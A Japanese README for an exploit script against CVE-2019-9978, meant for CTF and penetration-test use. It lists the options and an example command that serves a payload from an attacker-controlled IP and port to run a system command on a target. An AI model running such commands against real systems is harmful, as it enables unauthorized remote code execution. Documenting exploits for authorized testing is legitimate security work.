cve-2019-9978

このスクリプトは、CVE-2019-9978の脆弱性を簡単に悪用できるように設計されており、Capture The Flag (CTF) チャレンジやペネトレーションテストの概念実証として使用することを目的としています。

前提条件

• Python 3
• Requestsライブラリ (pip install requests でインストール)

使用方法

1. このリポジトリをクローンまたはダウンロードします。
2. ターミナルを開き、スクリプトのディレクトリに移動します。
3. 以下のオプションを使用してスクリプトを実行します：

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. スクリプトはHTTPサーバーを起動し、ペイロードをターゲットに送信し、結果をターミナルに表示します。

例

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

免責事項

このコードは教育およびテスト目的のみに使用されます。適切な許可なくシステムで不正に使用することは違法であり、非倫理的です。責任を持って使用してください。